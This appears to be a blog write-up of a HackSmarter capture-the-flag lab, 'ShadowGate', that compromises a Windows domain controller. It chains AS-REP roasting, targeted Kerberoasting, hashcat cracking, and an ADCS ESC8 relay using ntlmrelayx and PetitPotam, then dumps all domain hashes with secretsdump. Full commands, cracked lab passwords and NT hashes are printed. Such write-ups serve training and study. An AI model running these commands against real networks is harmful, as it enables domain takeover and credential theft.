Skip to content
BIG$HA crestBIG$HA
All writeups

HackSmarter

ShadowGate

Enumeration

Port Scan

Initial scan identified the target as a Windows Domain Controller.

Running Nmap -A on 10.1.88.26: [53, 80, 88, 135, 139, 389, 445, 464, 593, 636, 3268, 3269, 3389, 5985, 9389, 49664, 49667, 49670, 50715, 54306, 56921, 56922, 56934, 56948]

Nmap scan report for 10.1.88.26
Host is up (0.15s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-05-21 16:24:56Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: shadow.gate0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: shadow.gate0., Site: Default-First-Site-Name)
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: shadow.gate0., Site: Default-First-Site-Name)
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: shadow.gate0., Site: Default-First-Site-Name)
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  msrpc         Microsoft Windows RPC
50715/tcp open  msrpc         Microsoft Windows RPC
54306/tcp open  msrpc         Microsoft Windows RPC
56921/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
56922/tcp open  msrpc         Microsoft Windows RPC
56934/tcp open  msrpc         Microsoft Windows RPC
56948/tcp open  msrpc         Microsoft Windows RPC

Domain and host information from the scan:

Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

DNS_Domain_Name: shadow.gate DNS_Computer_Name: DC01.shadow.gate NetBIOS_Domain_Name: SHADOW NetBIOS_Computer_Name: DC01

SMB

Tried Guest authentication.

nxc smb 10.1.88.26 -u 'Guest' -p '' --shares

SMB         10.1.88.26      445    DC01             [*] Windows Server 
2022 Build 20348 x64 (name:DC01) (domain:shadow.gate) (signing:False) 
(SMBv1:False)
SMB         10.1.88.26      445    DC01             [-] 
shadow.gate\\\\Guest: STATUS_ACCOUNT_DISABLED

Tried anonymous SMB authentication.

nxc smb 10.1.88.26 -u '' -p '' --shares

SMB         10.1.88.26      445    DC01             [*] Windows Server 
2022 Build 20348 x64 (name:DC01) (domain:shadow.gate) (signing:False) 
(SMBv1:False)
SMB         10.1.88.26      445    DC01             [+] shadow.gate\\\\:
SMB         10.1.88.26      445    DC01             [-] Error 
enumerating shares: STATUS_ACCESS_DENIED

Anonymous login worked, but share enumeration was denied.

HTTP

Ran directory brute force against IIS.

gobuster dir -u "<http://dc01.shadow.gate/>" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -x php,txt,html,bak,zip,sh -b 404

===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     <http://dc01.shadow.gate/>
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8
[+] Extensions:              php,txt,html,bak,zip,sh
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/# license, visit <http://creativecommons.org/licenses/by-sa/3.0/> (Status: 400) [Size: 3490]
/*checkout*           (Status: 400) [Size: 3490]
Progress: 65848 / 1543913 (4.27%)

The web root gave up nothing usable, so I leaned on the one thing the anonymous session did allow — pulling the domain’s user list.

Anonymous User Enumeration

Used anonymous SMB session to enumerate domain users.

nxc smb 10.1.88.26 -u '' -p '' --users

SMB         10.1.88.26      445    DC01             [*] Windows Server 
2022 Build 20348 x64 (name:DC01) (domain:shadow.gate) (signing:False) 
(SMBv1:False)
SMB         10.1.88.26      445    DC01             [+] shadow.gate\\\\:
SMB         10.1.88.26      445    DC01             -Username-          
          -Last PW Set-       -BadPW- -Description-
SMB         10.1.88.26      445    DC01             Administrator       
          2026-01-11 11:33:05 0       Built-in account for administering
 the computer/domain
SMB         10.1.88.26      445    DC01             Guest               
          <never>             0       Built-in account for guest 
access to the computer/domain
SMB         10.1.88.26      445    DC01             krbtgt              
          2026-01-12 02:45:27 0       Key Distribution Center Service 
Account
SMB         10.1.88.26      445    DC01             ATHENA              
          2026-03-04 15:23:19 0
SMB         10.1.88.26      445    DC01             mbrownlee           
          2026-03-04 15:24:05 0
SMB         10.1.88.26      445    DC01             bbrown              
          2026-01-15 14:24:07 0
SMB         10.1.88.26      445    DC01             jtrueblood          
          2026-04-28 18:14:47 0
SMB         10.1.88.26      445    DC01             jsmith              
          2026-03-04 15:26:29 0
SMB         10.1.88.26      445    DC01             clocke              
          2026-03-04 15:24:32 0
SMB         10.1.88.26      445    DC01             tclarke             
          2026-03-04 15:25:33 0
SMB         10.1.88.26      445    DC01             jbradford           
          2026-03-04 15:24:59 0
SMB         10.1.88.26      445    DC01             amoss               
          2026-03-04 15:25:52 0
SMB         10.1.88.26      445    DC01             [*] Enumerated 12 
local users: SHADOW

Created users.txt from the enumerated users.

mkdir Desktop/HackSmarter/shadow && cd Desktop/HackSmarter/shadow
cat > users.txt << 'EOF'
Administrator
Guest
krbtgt
ATHENA
mbrownlee
bbrown
jtrueblood
jsmith
clocke
tclarke
jbradford
amoss
EOF

Initial Access

AS-REP Roasting

With a full username list but still no password, the cheapest next move was AS-REP roasting — asking the KDC for each account and seeing which ones don’t require Kerberos pre-authentication, since those hand back a crackable hash to anyone.

impacket-GetNPUsers shadow.gate/ -dc-ip 10.1.88.26 -usersfile users.txt -no-pass

Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated 
companies

[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials 
have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials 
have been revoked)
[-] User ATHENA doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User mbrownlee doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User bbrown doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$jtrueblood@SHADOW.GATE:94c326a4423da4010ae7c3b477a17802$ae6befb2a8792bdb9f2accf55de75ffb13cbca97f45f4034f1b1bc94a0db976298408c7a55726fef6e8362d91613e85a7a8f2c6602ec7775cc9803595b28cb68927c906ffed01f8ad9c255ea40cc6c097156a1e20691f59561adff02c3fc1a32deee77a28ac31acea76bc48adee633a834449eedd50384f960fd40a0deec40075da60e68a38d29eef3ebb198f3ccc6e852c12dfad29328dc9fbbc8e27b06ab944759d911d7bd6e9d7be334fe26ec528e4ff9366d04dc4aefae91b351d37120fb0e9d9033490e22e80c5df31c111a711b3bafd3978424883641436d58d4d63cc9f3378dfcf2b54864c0c5
[-] User jsmith doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User clocke doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User tclarke doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User jbradford doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User amoss doesn't have UF_DONT_REQUIRE_PREAUTH set

The AS-REP roastable user was:

jtrueblood

Crack AS-REP Hash

hashcat -m 18200 asrep_hashes.txt ~/kali4niaL0ve-back/usr/share/wordlists/rockyou.txt --force
$krb5asrep$23$jtrueblood@SHADOW.GATE:94c326a4423da4010ae7c3b477a17802$ae6befb2a8792bdb9f2accf55de75ffb13cbca97f45f4034f1b1bc94a0db976298408c7a55726fef6e8362d91613e85a7a8f2c6602ec7775cc9803595b28cb68927c906ffed01f8ad9c255ea40cc6c097156a1e20691f59561adff02c3fc1a32deee77a28ac31acea76bc48adee633a834449eedd50384f960fd40a0deec40075da60e68a38d29eef3ebb198f3ccc6e852c12dfad29328dc9fbbc8e27b06ab944759d911d7bd6e9d7be334fe26ec528e4ff9366d04dc4aefae91b351d37120fb0e9d9033490e22e80c5df31c111a711b3bafd3978424883641436d58d4d63cc9f3378dfcf2b54864c0c5:blood_brothers

Recovered credentials:

jtrueblood:blood_brothers

Credential Validation

Validated the credentials over LDAP.

nxc ldap dc01.shadow.gate -u 'jtrueblood' -p 'blood_brothers'

LDAP        10.1.88.26      389    DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:shadow.gate)
LDAP        10.1.88.26      389    DC01             [+] shadow.gate\\\\jtrueblood:blood_brothers

Enumerated SMB shares with the same credentials.

nxc smb dc01.shadow.gate -u 'jtrueblood' -p 'blood_brothers' --shares

SMB         10.1.88.26      445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:shadow.gate) (signing:False) (SMBv1:False)
SMB         10.1.88.26      445    DC01             [+] shadow.gate\\\\jtrueblood:blood_brothers
SMB         10.1.88.26      445    DC01             [*] Enumerated shares
SMB         10.1.88.26      445    DC01             Share           Permissions     Remark
SMB         10.1.88.26      445    DC01             -----           -----------     ------
SMB         10.1.88.26      445    DC01             ADMIN$                          Remote Admin
SMB         10.1.88.26      445    DC01             C$                              Default share
SMB         10.1.88.26      445    DC01             CertEnroll      READ            Active Directory Certificate Services share
SMB         10.1.88.26      445    DC01             IPC$            READ            Remote IPC
SMB         10.1.88.26      445    DC01             NETLOGON        READ            Logon server share
SMB         10.1.88.26      445    DC01             SYSVOL          READ            Logon server share

The CertEnroll share was the tell here — that share only shows up where AD CS is installed, so a certificate-services attack path was suddenly worth keeping in mind.

BloodHound Path

BloodHound revealed that `jtrueblood` had `GenericWrite` over `bbrown`.

jtrueblood
GenericWrite
    ↓
bbrown
MemberOf
    ↓
ADCS-READER

Lateral Movement / Credential Expansion

Targeted Kerberoasting

Used targetedKerberoast with the valid jtrueblood credentials.

python3 ~/kali4niaL0ve-back/payloads/py/targetedKerberoast/targetedKerberoast.py -v -d shadow.gate -u 'jtrueblood' -p 'blood_brothers'

[*] Starting kerberoast attacks
[*] Fetching usernames from Active Directory with LDAP
[VERBOSE] SPN added successfully for (bbrown)
[+] Printing hash for (bbrown)
$krb5tgs$23$*bbrown$SHADOW.GATE$shadow.gate/bbrown*$3c99710bff0a226a0432dbc59b0ad39e$045733802c71fc6540002a3e1083698d6ff96ec7ec83d78b7cf5e8b1148be94a3968194ed5a9ac3b3b6ace2461f8ec399f1cce806d0ba73241d2a8a5b42d07c0a4b00d55df7becaa39a408b47a142eac7d6c4d43dbbe5df88e02b41ccfddde01628c976e677dda109ae3236a1de8033b687fdceb9556959d03d74b85ccb772c918377e7eb039b2a1b08eb1bec15a22f22ca7d7c3dfea815571f38a7b3b2d61d5da770c81606c7f712dd859d46492baf85075915e02ab5305f9df82a408cd5c3d915825f5afd14edd9bd591d011eddee27ff46b7f822dbf7c2002aeb0e3c5cc4809cb5c0892ad81a9c8b66b77cc549a0f136e0998f3bec27ee09bcfb40029ef7568287037ef9dd372a9819a7a89311dc7930b90a1c506a955f88c5b90bb3bfbf6b08bf6ebcd783ba2d299139183f6632e0a1d0007f9a7e9b93de3f931b9832d80d7744213e498a2eab1e549ea02b9a8d6940846ff524559613144b736d4c6eaff84587d0f31caf5563073a8e4506837ebb5b0cb2f00ab18ba586fc3034db39a875b3fda06d1aaea0c5ab85ced8e2c780251abffdc59c9842ab6dfcff02deb70497f48c58b7fa989d6be40dbcbe806b98dc5f8e5b1989624da3413c299c8b2a1889ab50f8fbf2973ac9f019d61ca9fcc91198d6b89af40ad57cf627df6e513abb4133e9a852a102a0bc8de69f56dc88d79d3e73d4f1e83d76a004f2a86ddbaff50a03407af59f64e81139e701d6b60cf6c308c069d4f40f84a9163531812d36eac5aec035b47766f47aaa279ab3b62ccfd4cfe35ae9e6fe7e24915689a0788b7f62fbbda5cc1fb1a8d5c04c8ed5de8e309b6d0c227c11226cf004dc28cf86a10dff965f158b30d8664a84dbe4a677931384ae665b66ed870e4a5ae555a04741d26f3ee6f840cc50513dd98b2360c4b6f378853061deb0a566f7296bba30254ae2122047f148994be4bc48c4c7a4c876a21fa0e422cd63578e06a72c5e5590fb806ed6bd38e630abf95b811a209759ad2b6471b77ab5306fcfd4b8f7a9d80aa37f545857c6cc3480b061e26689c99355a640e65f2a6207d0a08599508dcb5a79c14dc3de987c3e01a97a794644dc586a2fbe358aa165fc42fc25aacd5333695fe08dfa35daf97f70fbfd895db42c49b1c43a712a9d17c440a4cb7131e79e843bd035ea1601b460cc543c786f3d6266a093eb6374870d21a1d49dc2bad56fa74740968888310d0b14eb9446e4350adfbd916e909db2c7e588f15447ce293396c9d02b140368999d3daa832cabb3693dd5c6ae933e364c2dc2493b6a078b6d9959b9e6e2f5dc38b8a259c5849dc0331e169eb6a44cc0307e0a9f5e94c33e34e5765a4a0990ce9869858379ba2d22963deed7c1f76d4e7df7a74776e4532bd086f909bbd849b34301f71a12bd545320d04b38c488e4037d0a610f5c7e42b9457c3f390f7eb6946177cf8ddf2927da30d47547d1cf114f53590c23ae8d6932ca66daf10089f36e0c233aa34cf8feb62123e60603cf5931e3725
[VERBOSE] SPN removed successfully for (bbrown)

The tool added an SPN to bbrown, requested a TGS, printed the hash, and removed the SPN.

Crack TGS Hash

hashcat -m13100 output.txt ~/kali4niaL0ve-back/usr/share/wordlists/rockyou.txt
$krb5tgs$23$*bbrown$SHADOW.GATE$shadow.gate/bbrown*$3c99710bff0a226a0432dbc59b0ad39e$045733802c71fc6540002a3e1083698d6ff96ec7ec83d78b7cf5e8b1148be94a3968194ed5a9ac3b3b6ace2461f8ec399f1cce806d0ba73241d2a8a5b42d07c0a4b00d55df7becaa39a408b47a142eac7d6c4d43dbbe5df88e02b41ccfddde01628c976e677dda109ae3236a1de8033b687fdceb9556959d03d74b85ccb772c918377e7eb039b2a1b08eb1bec15a22f22ca7d7c3dfea815571f38a7b3b2d61d5da770c81606c7f712dd859d46492baf85075915e02ab5305f9df82a408cd5c3d915825f5afd14edd9bd591d011eddee27ff46b7f822dbf7c2002aeb0e3c5cc4809cb5c0892ad81a9c8b66b77cc549a0f136e0998f3bec27ee09bcfb40029ef7568287037ef9dd372a9819a7a89311dc7930b90a1c506a955f88c5b90bb3bfbf6b08bf6ebcd783ba2d299139183f6632e0a1d0007f9a7e9b93de3f931b9832d80d7744213e498a2eab1e549ea02b9a8d6940846ff524559613144b736d4c6eaff84587d0f31caf5563073a8e4506837ebb5b0cb2f00ab18ba586fc3034db39a875b3fda06d1aaea0c5ab85ced8e2c780251abffdc59c9842ab6dfcff02deb70497f48c58b7fa989d6be40dbcbe806b98dc5f8e5b1989624da3413c299c8b2a1889ab50f8fbf2973ac9f019d61ca9fcc91198d6b89af40ad57cf627df6e513abb4133e9a852a102a0bc8de69f56dc88d79d3e73d4f1e83d76a004f2a86ddbaff50a03407af59f64e81139e701d6b60cf6c308c069d4f40f84a9163531812d36eac5aec035b47766f47aaa279ab3b62ccfd4cfe35ae9e6fe7e24915689a0788b7f62fbbda5cc1fb1a8d5c04c8ed5de8e309b6d0c227c11226cf004dc28cf86a10dff965f158b30d8664a84dbe4a677931384ae665b66ed870e4a5ae555a04741d26f3ee6f840cc50513dd98b2360c4b6f378853061deb0a566f7296bba30254ae2122047f148994be4bc48c4c7a4c876a21fa0e422cd63578e06a72c5e5590fb806ed6bd38e630abf95b811a209759ad2b6471b77ab5306fcfd4b8f7a9d80aa37f545857c6cc3480b061e26689c99355a640e65f2a6207d0a08599508dcb5a79c14dc3de987c3e01a97a794644dc586a2fbe358aa165fc42fc25aacd5333695fe08dfa35daf97f70fbfd895db42c49b1c43a712a9d17c440a4cb7131e79e843bd035ea1601b460cc543c786f3d6266a093eb6374870d21a1d49dc2bad56fa74740968888310d0b14eb9446e4350adfbd916e909db2c7e588f15447ce293396c9d02b140368999d3daa832cabb3693dd5c6ae933e364c2dc2493b6a078b6d9959b9e6e2f5dc38b8a259c5849dc0331e169eb6a44cc0307e0a9f5e94c33e34e5765a4a0990ce9869858379ba2d22963deed7c1f76d4e7df7a74776e4532bd086f909bbd849b34301f71a12bd545320d04b38c488e4037d0a610f5c7e42b9457c3f390f7eb6946177cf8ddf2927da30d47547d1cf114f53590c23ae8d6932ca66daf10089f36e0c233aa34cf8feb62123e60603cf5931e3725:12345678

Recovered credentials:

bbrown:12345678

Validate bbrown

nxc smb dc01.shadow.gate -u 'bbrown' -p '12345678' --shares

SMB         10.1.88.26      445    DC01             [*] Windows Server 
2022 Build 20348 x64 (name:DC01) (domain:shadow.gate) (signing:False) 
(SMBv1:False)
SMB         10.1.88.26      445    DC01             [+] 
shadow.gate\\\\bbrown:12345678
SMB         10.1.88.26      445    DC01             [*] Enumerated 
shares
SMB         10.1.88.26      445    DC01             Share           
Permissions     Remark
SMB         10.1.88.26      445    DC01             -----           
-----------     ------
SMB         10.1.88.26      445    DC01             ADMIN$              
            Remote Admin
SMB         10.1.88.26      445    DC01             C$                  
            Default share
SMB         10.1.88.26      445    DC01             CertEnroll      READ
            Active Directory Certificate Services share
SMB         10.1.88.26      445    DC01             IPC$            READ
            Remote IPC
SMB         10.1.88.26      445    DC01             NETLOGON        READ
            Logon server share
SMB         10.1.88.26      445    DC01             SYSVOL          READ
            Logon server share

ADCS Enumeration

The CertEnroll share and HTTP service pointed to Active Directory Certificate Services.

Certipy output confirmed the CA configuration:

Certificate Authorities
  0
    CA Name                             : shadow-DC01-CA
    DNS Name                            : DC01.shadow.gate
    Certificate Subject                 : CN=shadow-DC01-CA, DC=shadow, DC=gate
    Certificate Serial Number           : 749A4BA2BEA3CFBC41ECDFAEE502E46C
    Certificate Validity Start          : 2026-01-12 02:50:31+00:00
    Certificate Validity End            : 2046-01-12 03:00:31+00:00
    Web Enrollment
      HTTP
        Enabled                         : True
      HTTPS
        Enabled                         : False

The CA was vulnerable to ESC8:

[!] Vulnerabilities
  ESC8                              : Web Enrollment is enabled over HTTP.

Important CA permissions:

Permissions
  Owner                             : SHADOW.GATE\\\\Administrators
  Access Rights
    ManageCa                        : SHADOW.GATE\\\\Administrators
                                      SHADOW.GATE\\\\Domain Admins
                                      SHADOW.GATE\\\\Enterprise Admins
    ManageCertificates              : SHADOW.GATE\\\\Administrators
                                      SHADOW.GATE\\\\Domain Admins
                                      SHADOW.GATE\\\\Enterprise Admins
    Enroll                          : SHADOW.GATE\\\\Authenticated Users

Privilege Escalation

ESC8 NTLM Relay Setup

The plan for ESC8 was to relay a machine account’s NTLM authentication into the CA’s HTTP Web Enrollment and request a certificate as that machine. I set up ntlmrelayx first, pointed at ADCS Web Enrollment with the DomainController template, so a relayed DC01$ auth would come back as a usable certificate.

sudo impacket-ntlmrelayx \\\\
-t <http://DC01.shadow.gate/certsrv/> \\\\
--adcs \\\\
--template DomainController \\\\
-smb2support
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Protocol Client DCSYNC loaded..
[*] Protocol Client WINRMS loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client RPC loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server on port 445
[*] Setting up HTTP Server on port 80
[*] Setting up WCF Server on port 9389
[*] Setting up RAW Server on port 6666
[*] Setting up WinRM (HTTP) Server on port 5985
[*] Setting up WinRMS (HTTPS) Server on port 5986
[*] Setting up RPC Server on port 135
[*] Multirelay disabled

[*] Servers started, waiting for connections

PetitPotam Coercion

With the relay listening, I needed the DC to authenticate to me. PetitPotam does exactly that — bbrown’s credentials were enough to coerce DC01 into authenticating back to the relay server over MS-EFSRPC.

python3 PetitPotam/PetitPotam.py \\\\
-d shadow.gate \\\\
-u bbrown \\\\
-p '12345678' \\\\
10.200.58.254 \\\\
DC01.shadow.gate
Trying pipe lsarpc
[-] Connecting to ncacn_np:DC01.shadow.gate[\\\\PIPE\\\\lsarpc]
[+] Connected!
[+] Binding to c681d488-d850-11d0-8c52-00c04fd90f7e
[+] Successfully bound!
[-] Sending EfsRpcOpenFileRaw!
[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!
[+] OK! Using unpatched function!
[-] Sending EfsRpcEncryptFileSrv!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!

Relay output:

[*] (SMB): Received connection from 10.1.88.26, attacking target <http://DC01.shadow.gate>
[*] HTTP server returned error code 200, treating as a successful login
[*] (SMB): Authenticating connection from /@10.1.88.26 against <http://DC01.shadow.gate> SUCCEED [1]
[*] http:///@dc01.shadow.gate [1] -> Generating CSR...
[*] http:///@dc01.shadow.gate [1] -> CSR generated!
[*] http:///@dc01.shadow.gate [1] -> Getting certificate...
[*] http:///@dc01.shadow.gate [1] -> GOT CERTIFICATE! ID 3
[*] http:///@dc01.shadow.gate [1] -> Writing PKCS#12 certificate to ./DC01.shadow.gate.pfx
[*] http:///@dc01.shadow.gate [1] -> Certificate successfully written to file

Generated certificate:

DC01.shadow.gate.pfx

Shell / Domain Compromise

Authenticate with Certificate

Authenticated with the obtained PFX using Certipy.

certipy-ad auth \\\\
-pfx DC01.shadow.gate.pfx \\\\
-dc-ip 10.1.88.26
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN DNS Host Name: 'DC01.shadow.gate'
[*]     Security Extension SID: 'S-1-5-21-243493930-1113464705-3012771586-1000'
[*] Using principal: 'dc01$@shadow.gate'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'dc01.ccache'
[*] Wrote credential cache to 'dc01.ccache'
[*] Trying to retrieve NT hash for 'dc01$'
[*] Got hash for 'dc01$@shadow.gate': aad3b435b51404eeaad3b435b51404ee:57867e655d1abc9f45fd6e954e351531

Exported the Kerberos cache.

export KRB5CCNAME=$(pwd)/dc01.ccache

Confirmed the credential cache exists.

ls *.ccache
dc01.ccache

Dump Domain Secrets

Used the DC01 machine account Kerberos ticket to dump domain credentials.

impacket-secretsdump -k -no-pass DC01.shadow.gate
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[-] Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user
[*] Dumping Domain Credentials (domain\\\\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:4366ec0f86e29be2a4a5e87a1ba922ec:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b5509cbfe52e94940c0ec99b21e09802:::
shadow.gate\\\\ATHENA:1103:aad3b435b51404eeaad3b435b51404ee:3215f4c7c852647c88694ab0b57daaba:::
shadow.gate\\\\mbrownlee:1104:aad3b435b51404eeaad3b435b51404ee:6f16868319543175e7f3e6d4eea9adfb:::
shadow.gate\\\\bbrown:1109:aad3b435b51404eeaad3b435b51404ee:259745cb123a52aa2e693aaacca2db52:::
shadow.gate\\\\jtrueblood:1110:aad3b435b51404eeaad3b435b51404ee:27e133a345b980d24e3a60f169f2cb7e:::
shadow.gate\\\\jsmith:1112:aad3b435b51404eeaad3b435b51404ee:be0b6d125a6645747d91d30ed3bef98f:::
shadow.gate\\\\clocke:1113:aad3b435b51404eeaad3b435b51404ee:ff506444e2c59b0241812e8e17b0f05e:::
shadow.gate\\\\tclarke:1114:aad3b435b51404eeaad3b435b51404ee:9290a555713c7db0cf7fbf0ac28c1100:::
shadow.gate\\\\jbradford:1115:aad3b435b51404eeaad3b435b51404ee:f5c86043de2a116c6458f3de9aad89de:::
shadow.gate\\\\amoss:1116:aad3b435b51404eeaad3b435b51404ee:381480af4a988ad46758c2f79ee64090:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:57867e655d1abc9f45fd6e954e351531:::
[*] Kerberos keys grabbed

That closed the loop: the DC’s own machine-account ticket, turned back against the directory, dumped every hash it stored — including krbtgt and Administrator. Full domain compromise.

Attack Path Summary

Anonymous SMB user enumeration
→ Created users.txt
→ AS-REP roasted jtrueblood
→ Cracked jtrueblood:blood_brothers
→ Authenticated to LDAP/SMB
→ Found CertEnroll share / ADCS exposure
→ BloodHound enumaration revealed Lateral Movement / Credential Expansion
→ Used targetedKerberoast with jtrueblood
→ Retrieved bbrown TGS hash
→ Cracked bbrown:12345678
→ Authenticated with bbrown
→ Confirmed ADCS ESC8 from Certipy output
→ Started ntlmrelayx against <http://DC01.shadow.gate/certsrv/>
→ Used PetitPotam with bbrown to coerce DC01 authentication
→ Relayed DC01$ NTLM to ADCS Web Enrollment
→ Obtained DC01.shadow.gate.pfx
→ Used certipy-ad auth to get dc01$ TGT and NT hash
→ Exported dc01.ccache
→ Ran impacket-secretsdump with Kerberos
→ Dumped NTDS / domain credentials

Credentials Found

User Password / Secret Source
jtrueblood blood_brothers AS-REP roast + Hashcat
bbrown 12345678 targeted Kerberoast + Hashcat
dc01$ 57867e655d1abc9f45fd6e954e351531 Certipy certificate authentication
Administrator 4366ec0f86e29be2a4a5e87a1ba922ec secretsdump
krbtgt b5509cbfe52e94940c0ec99b21e09802 secretsdump

Tools Used

  • Nmap
  • NetExec / nxc
  • Gobuster
  • Impacket GetNPUsers
  • Hashcat
  • targetedKerberoast
  • Certipy / certipy-ad
  • ntlmrelayx
  • PetitPotam
  • secretsdump